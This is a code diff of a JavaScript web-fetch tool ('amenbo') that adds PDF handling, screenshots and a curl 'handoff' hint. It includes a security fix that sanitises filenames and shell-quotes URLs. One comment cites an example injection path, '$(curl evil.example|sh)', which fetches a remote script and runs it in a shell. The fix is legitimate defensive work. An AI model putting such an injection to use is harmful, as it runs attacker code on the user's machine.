// ---- 機能B: 非HTMLコンテンツのハンドオフ応答 ----
|
|
443
|
+
/**
|
|
444
|
+
* URLのパス末尾からファイル名を推測する(curl -o のデフォルト値用)。取れなければ"download"。
|
|
445
|
+
*
|
|
446
|
+
* セキュリティ修正(CWE-78): WHATWG URLパーサは `'` `;` `|` `$` `` ` `` 等のパス中の文字を
|
|
447
|
+
* パーセントエンコードしないため、攻撃者が細工したURL(例: `/$(curl evil.example|sh).csv`)経由で
|
|
448
|
+
* このファイル名がそのままシェルコマンド文字列(hint行)に混入し、コマンドインジェクションが
|
|
449
|
+
* 成立しうる。curlに渡す提案コマンドの一部として安全に提示できるよう、英数字・`.`・`-`・`_`
|
|
450
|
+
* 以外は全て `_` に置換する。
|
|
451
|
+
*/
|
|
452
|
+
export function guessFilename(url) {
|
|
453
|
+
const rawBase = (() => {
|
|
454
|
+
try {
|
|
455
|
+
const pathname = new URL(url).pathname;
|
|
456
|
+
return pathname.split("/").filter((segment) => segment.length > 0).pop() ?? "";
|
|
457
|
+
}
|
|
458
|
+
catch {
|
|
459
|
+
return "";
|
|
460
|
+
}
|
|
461
|
+
})();
|
|
462
|
+
const sanitized = rawBase.replace(/[^A-Za-z0-9._-]/g, "_");
|
|
463
|
+
return sanitized.length > 0 ? sanitized : "download";
|
|
464
|
+
}
|
|
465
|
+
/**
|
|
466
|
+
* シェルの単一引用符コンテキストへ値を安全に埋め込む(CWE-78対策)。
|
|
467
|
+
* 単一引用符内では `'` 以外は解釈されないため、`'` のみ「引用符を閉じ、
|
|
468
|
+
* エスケープ済み`'`を1つ挿入し、再び引用符を開く」(`'\''`)という定石で表現する。
|
|
469
|
+
*/
|
|
470
|
+
export function shellQuoteSingle(value) {
|
|
471
|
+
return `'${value.replace(/'/g, `'\\''`)}'`;
|
|
472
|
+
}
|
|
473
|
+
/**
|
|
474
|
+
* 機能B: HTML/PDF以外のコンテンツタイプを「行き止まり」のエラーではなく、
|
|
475
|
+
* メタデータ+プレビュー+curl誘導の正常応答として整形する。
|
|
476
|
+
* ファイル全体がAMENBO_MAX_BODY_BYTESを超える場合(Content-Length既知時)は
|
|
477
|
+
* プレビュー自体を省略し、メタデータ+誘導のみを返す。
|
|
478
|
+
*/
|
|
479
|
+
export function formatHandoffResponse(handoff, maxTokens) {
|
|
480
|
+
const filename = guessFilename(handoff.finalUrl);
|
|
481
|
+
const sizeKnown = handoff.declaredSize !== null;
|
|
482
|
+
const sizeLabel = sizeKnown ? `${handoff.declaredSize}` : `${handoff.bytes.length}(取得分。Content-Lengthヘッダ無し)`;
|
|
483
|
+
const oversized = sizeKnown && handoff.declaredSize > resolveDefaultMaxBodyBytes();
|
|
484
|
+
const header = [
|
|
485
|
+
`content_type: ${handoff.contentType ?? "(不明)"}`,
|
|
486
|
+
`size: ${sizeLabel}`,
|
|
487
|
+
`url: ${handoff.finalUrl}`,
|
|
488
|
+
`mode_used: handoff`,
|
|
489
|
+
].join("\n");
|
|
490
|
+
const preview = oversized ? null : buildHandoffPreview(handoff.bytes, handoff.contentType, maxTokens, handoff.truncated);
|
|
491
|
+
const previewBlock = preview ? `\n\n${preview.body}${preview.note ? `\n\n(${preview.note})` : ""}` : "";
|
|
492
|
+
const hint = `\n\nhint: このファイルはamenboの本文抽出対象外です。全体の取得は curl -L -o ${filename} ${shellQuoteSingle(handoff.finalUrl)} を推奨します`;
|
|
493
|
+
return `${header}${previewBlock}${hint}`;
|
|
494
|
+
}
|
|
495
|
+
// ---- PDF対応(URL判定で独立経路。mode/selector/section等は適用しない) ----
|
|
496
|
+
function formatPdfTextResponse(title, finalUrl, cacheStatus, pdfPageCount, paginated) {
|
|
497
|
+
const header = [
|
|
498
|
+
`title: ${title ?? "(なし)"}`,
|
|
499
|
+
`url: ${finalUrl}`,
|
|
500
|
+
`mode_used: markdown`,
|
|
501
|
+
`cache: ${cacheStatus}`,
|
|
502
|
+
`tokens: ${paginated.tokens}`,
|
|
503
|
+
`page: ${paginated.page} of ${paginated.totalPages}`,
|
|
504
|
+
`fetch_tier: pdf`,
|
|
505
|
+
`pdf_pages: ${pdfPageCount}`,
|
|
506
|
+
...budgetExceededLine(paginated),
|
|
507
|
+
].join("\n");
|
|
508
|
+
return `${header}\n\n${paginated.content}`;
|
|
509
|
+
}
|
|
510
|
+
/** PDFはキャッシュ層(§3-3等)を流用しつつ独立した経路で扱う。テキスト層があればMarkdown、無ければ画像タイル。 */
|
|
511
|
+
async function handlePdfFetch(url, page, maxTokens) {
|
|
512
|
+
const cached = cache.get(url);
|
|
513
|
+
if (cached && cache.isFresh(cached)) {
|
|
514
|
+
const paginated = paginateMarkdown(cached.markdown, maxTokens, page);
|
|
515
|
+
const title = cached.metadata.title ?? null;
|
|
516
|
+
const finalUrl = cached.metadata.finalUrl ?? url;
|
|
517
|
+
const pdfPageCount = Number(cached.metadata.pdfPageCount ?? 0);
|
|
518
|
+
return [{ type: "text", text: formatPdfTextResponse(title, finalUrl, "fresh", pdfPageCount, paginated) }];
|
|
519
|
+
}
|
|
520
|
+
const binary = await httpGetBinary(url, { maxBytes: DEFAULT_PDF_MAX_BYTES });
|
|
521
|
+
const textResult = await extractPdfText(binary.bytes);
|
|
522
|
+
if (textResult.hasTextLayer) {
|
|
523
|
+
const markdown = markdownFromPdfText(textResult);
|
|
524
|
+
cache.set({
|
|
525
|
+
url,
|
|
526
|
+
etag: binary.headers.get("etag"),
|
|
527
|
+
lastModified: binary.headers.get("last-modified"),
|
|
528
|
+
markdown,
|
|
529
|
+
metadata: { title: textResult.title, finalUrl: binary.finalUrl, pdfPageCount: textResult.pageCount },
|
|
530
|
+
});
|
|
531
|
+
const paginated = paginateMarkdown(markdown, maxTokens, page);
|
|
532
|
+
return [{ type: "text", text: formatPdfTextResponse(textResult.title, binary.finalUrl, "miss", textResult.pageCount, paginated) }];
|
|
533
|
+
}
|
|
534
|
+
// テキスト層が実質無い(スキャンPDF): 先頭ページから画像タイルとして返す(キャッシュ非対象)
|
|
535
|
+
const images = await renderPdfPages(binary.bytes);
|
|
536
|
+
const header = [
|
|
537
|
+
`title: ${textResult.title ?? "(なし)"}`,
|
|
538
|
+
`url: ${binary.finalUrl}`,
|
|
539
|
+
`mode_used: screenshot`,
|
|
540
|
+
`cache: miss`,
|
|
541
|
+
`reason: PDFにテキスト層がありません(スキャンPDFの可能性。全${textResult.pageCount}ページ中先頭${images.length}ページを画像化)`,
|
|
542
|
+
`tiles: ${images.length}`,
|
|
543
|
+
`fetch_tier: pdf`,
|
|
544
|
+
].join("\n");
|
|
545
|
+
return [
|
|
546
|
+
{ type: "text", text: header },
|
|
547
|
+
...images.map((image) => ({ type: "image", data: image.png.toString("base64"), mimeType: "image/png" })),
|
|
548
|
+
];
|
|
549
|
+
}
|
|
550
|
+
// テスト用export(既存スタイルに合わせた最小のテスト可能化。politeness.guard呼び出し回数の検証用)。
|
|
551
|
+
export async function handleFetchTool(input) {
|
|
552
|
+
const mode = input.mode ?? "auto";
|
|
553
|
+
const page = input.page ?? DEFAULT_PAGE;
|
|
554
|
+
const maxTokens = input.max_tokens ?? DEFAULT_MAX_TOKENS;
|
|
555
|
+
// 公開品質バグ修正: robots.txt取得(politeness.guard)より前にスキームを検証する(理由は
|
|
556
|
+
// resolveScreenshotのコメント参照)。zodの.url()はスキームを制限しないため、ここでの
|
|
557
|
+
// 検証が実質的な最初の関門になる。
|
|
558
|
+
assertHttpScheme(input.url);
|
|
559
|
+
await politeness.guard(input.url);
|
|
560
|
+
if (looksLikePdf(input.url, null)) {
|
|
561
|
+
return handlePdfFetch(input.url, page, maxTokens);
|
|
562
|
+
}
|
|
563
|
+
// 公開品質バグ修正: mode: screenshot(section未指定時)はMarkdown抽出結果を一切使わないため、
|
|
564
|
+
// resolvePage(素のHTTP GETを含む二段フェッチ)を経由せずブラウザへ直行する。
|
|
565
|
+
// 素のHTTPクライアントを拒否しブラウザは許可するサイト(例: initial.inc)に対して、
|
|
566
|
+
// 「screenshotで再試行すると通る場合があります」というエラー提案がscreenshotモード自身の
|
|
567
|
+
// HTTP前段GET失敗で行き止まりになっていた回帰の修正。screenshotツール本体は元々この経路を
|
|
568
|
+
// 通らずブラウザ直行だったため、fetchツールのmode: screenshotもそれと同じ経路に揃える。
|
|
569
|
+
if (mode === "screenshot" && !input.section) {
|
|
570
|
+
const screenshot = await resolveScreenshot(input.url, {
|
|
571
|
+
fullPage: true,
|
|
572
|
+
width: DEFAULT_TILE_WIDTH,
|
|
573
|
+
scale: DEFAULT_SCREENSHOT_SCALE,
|
|
574
|
+
skipGuard: true, // 直前でこの関数冒頭のpoliteness.guard(input.url)を既に実行済み
|
|
575
|
+
});
|
|
576
|
+
return buildScreenshotContent({ title: null }, screenshot, null);
|
|
577
|
+
}
|
|
578
|
+
const resolvedOrHandoff = await resolvePage(input.url, input.selector);
|
|
579
|
+
// 機能B: 非HTMLコンテンツはMarkdown抽出・キャッシュ・mode/selector/section等を適用せず、
|
|
580
|
+
// メタデータ+プレビュー+curl誘導のハンドオフ応答を返す(PDFのURL判定と同様の独立経路)。
|
|
581
|
+
if ("kind" in resolvedOrHandoff) {
|
|
582
|
+
return [{ type: "text", text: formatHandoffResponse(resolvedOrHandoff.handoff, maxTokens) }];
|
|
583
|
+
}
|
|
584
|
+
const resolved = resolvedOrHandoff;
|
|
585
|
+
// Phase 4 テンプレート学習: 定型ブロック(ヘッダ/フッタ/定型ナビ等)を表示直前に除去する。
|
|
586
|
+
// force_fullで無効化できる。selector指定時はページ全体ではなく特定要素の抽出結果なので対象外。
|
|
587
|
+
const domain = safeHostname(resolved.finalUrl);
|
|
588
|
+
const templateHashes = !input.force_full && !input.selector && domain ? cache.getTemplateBlockHashes(domain) : new Set();
|
|
589
|
+
const { markdown: displayMarkdown, removedCount: templateRemovedCount } = removeTemplateBlocks(resolved.markdown, templateHashes);
|
|
590
|
+
const previousDisplayMarkdown = resolved.previousMarkdown !== null ? removeTemplateBlocks(resolved.previousMarkdown, templateHashes).markdown : null;
|
|
591
|
+
const view = { ...resolved, markdown: displayMarkdown, previousMarkdown: previousDisplayMarkdown };
|
|
592
|
+
// sectionが指定された場合は、mode指定に関わらずその節のMarkdownのみを返す(差分応答は適用しない)
|
|
593
|
+
if (input.section) {
|
|
594
|
+
const sectionMarkdown = extractSection(view.markdown, input.section);
|
|
595
|
+
if (sectionMarkdown === null) {
|
|
596
|
+
throw new SectionNotFoundError(input.url, input.section);
|
|
597
|
+
}
|
|
598
|
+
const paginated = paginateMarkdown(sectionMarkdown, maxTokens, page);
|
|
599
|
+
return [{ type: "text", text: formatMarkdownResponse(view, paginated, input.section, templateRemovedCount) }];
|
|
600
|
+
}
|
|
601
|
+
if (mode === "outline") {
|
|
602
|
+
const outline = buildOutline(view.markdown);
|
|
603
|
+
return [{ type: "text", text: formatOutlineResponse(view, outline, templateRemovedCount) }];
|
|
604
|
+
}
|
|
605
|
+
// mode: screenshot(section未指定)はここに到達する前に早期returnしているため、
|
|
606
|
+
// ここでのscreenshot切替はmode: autoの品質判定のみが対象になる。
|
|
607
|
+
//
|
|
608
|
+
// code-reviewer指摘: 以前はここでresolved.finalUrl(resolvePageのHTTPフェッチが辿った
|
|
609
|
+
// リダイレクト後のURL)を渡しており、上のmode: screenshot早期return(input.urlを渡す)
|
|
610
|
+
// とキャッシュキーの元になるURLが食い違っていた。リダイレクトのあるURLでは同一ページが
|
|
611
|
+
// 二重に撮影・保存されてしまうため、両経路で必ずinput.urlを渡すよう統一する
|
|
612
|
+
// (resolveScreenshot自身のブラウザナビゲーションが同じリダイレクトを辿るため実害は無い)。
|
|
613
|
+
if (mode === "auto" && resolved.lowQuality) {
|
|
614
|
+
const screenshot = await resolveScreenshot(input.url, {
|
|
615
|
+
fullPage: true,
|
|
616
|
+
width: DEFAULT_TILE_WIDTH,
|
|
617
|
+
scale: DEFAULT_SCREENSHOT_SCALE,
|
|
618
|
+
skipGuard: true, // この関数冒頭のpoliteness.guard(input.url)を既に実行済み
|
|
619
|
+
});
|
|
620
|
+
return buildScreenshotContent(resolved, screenshot, resolved.qualityReason);
|
|
621
|
+
}
|
|
622
|
+
// §3-3 差分応答: selector無し・force_full無し・新規フェッチ(cacheStatus==='miss')かつ旧キャッシュがある場合のみ
|
|
623
|
+
// 比較にはview(テンプレート除去後)を使う。定型ブロックの有無で誤って差分検知しないようにするため。
|
|
624
|
+
const diffEligible = !input.selector && !input.force_full && resolved.cacheStatus === "miss" && view.previousMarkdown !== null;
|
|
625
|
+
if (diffEligible) {
|
|
626
|
+
if (view.previousMarkdown === view.markdown) {
|
|
627
|
+
return [{ type: "text", text: formatUnchangedResponse(view) }];
|
|
628
|
+
}
|
|
629
|
+
const diff = diffMarkdown(view.previousMarkdown ?? "", view.markdown);
|
|
630
|
+
if (diff.sections.length > 0 && !diff.allSectionsChanged) {
|
|
631
|
+
return [{ type: "text", text: formatDiffResponse(view, diff.sections, templateRemovedCount) }];
|
|
632
|
+
}
|
|
633
|
+
// 全節変更、または差分検出不能な場合は通常の全文応答へフォールバックする
|
|
634
|
+
}
|
|
635
|
+
const paginated = paginateMarkdown(view.markdown, maxTokens, page);
|
|
636
|
+
return [{ type: "text", text: formatMarkdownResponse(view, paginated, null, templateRemovedCount) }];
|
|
637
|
+
}
|
|
638
|
+
// テスト用export(既存スタイルに合わせた最小のテスト可能化。politeness.guard呼び出し回数の検証用)。
|
|
639
|
+
// 独立screenshotツールは(fetchツールのmode: screenshot早期returnと異なり)事前guardを
|
|
640
|
+
// 行わないため、resolveScreenshot自身が既定でguardする(skipGuard未指定)。
|
|
641
|
+
export async function handleScreenshotTool(input) {
|
|
642
|
+
const screenshot = await resolveScreenshot(input.url, {
|
|
643
|
+
fullPage: input.fullPage ?? true,
|
|
644
|
+
width: input.width ?? DEFAULT_TILE_WIDTH,
|
|
645
|
+
scale: input.scale ?? DEFAULT_SCREENSHOT_SCALE,
|
|
646
|
+
});
|
|
647
|
+
return buildScreenshotContent({ title: null }, screenshot, null);
|
|
648
|
+
}
|
|
649
|
+
//# sourceMappingURL=core.js.map
|